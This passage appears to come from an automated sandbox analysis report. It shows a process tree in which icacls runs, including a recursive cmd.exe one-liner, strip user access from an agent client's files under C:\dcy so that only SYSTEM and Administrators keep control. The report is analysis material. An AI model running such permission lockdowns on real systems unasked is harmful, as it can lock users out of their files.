        icacls "C:\dcy\Client\zh-Hans" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:5508
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:1212
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2960
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tools\VideoPlugin" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2816
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c for /r "C:\dcy" %G in (*) do icacls "%G" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C >nul 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:4636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Accessibility.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\aspnetcorev2_inprocess.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5792
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\BouncyCastle.Cryptography.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2056
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\clretwrc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1588
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\clrgc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1676
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\clrjit.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Common.Logging.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:260
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Common.Logging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5224
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Concentus.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5488
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\coreclr.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:208
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\D3DCompiler_47_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\DirectWriteForwarder.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5068
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\DnsClient.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\DongchaYan.Agent.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:380
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\DongchaYan.Agent.Modules.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\e_sqlite3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2428
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hostfxr.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2060
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\hostpolicy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Makaretu.Dns.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2412
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Makaretu.Dns.Multicast.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Antiforgery.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3936
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5880
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.BearerToken.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.Cookies.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:948
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.OAuth.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5512
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authorization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5064
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authorization.Policy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3512
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Authorization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2612
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Endpoints.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5776
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Forms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Server.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1716
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Connections.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3976
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.CookiePolicy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Cors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Cryptography.Internal.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4604
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Cryptography.KeyDerivation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2592
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.DataProtection.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.DataProtection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.DataProtection.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5960
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Diagnostics.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Diagnostics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Diagnostics.HealthChecks.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4580
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1824
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HostFiltering.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5912
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Hosting.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3024
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Hosting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5976
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Hosting.Server.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1088
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Html.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4968
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2608
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Connections.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4868
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Connections.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5644
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3772
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Features.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Results.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HttpLogging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4852
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HttpOverrides.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4500
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HttpsPolicy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:756
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Identity.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4512
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Localization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Localization.Routing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Metadata.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3268
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3176
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.ApiExplorer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5836
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Cors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.DataAnnotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4768
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4332
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Formatters.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Formatters.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Localization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4180
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Razor.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.RazorPages.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4784
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.TagHelpers.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5164
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.ViewFeatures.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.OutputCaching.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.RateLimiting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Razor.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1644
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Razor.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5536
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.RequestDecompression.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2268
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.ResponseCaching.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6008
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.ResponseCaching.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.ResponseCompression.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3104
      - C:\Windows\system32\icacls.exe
        
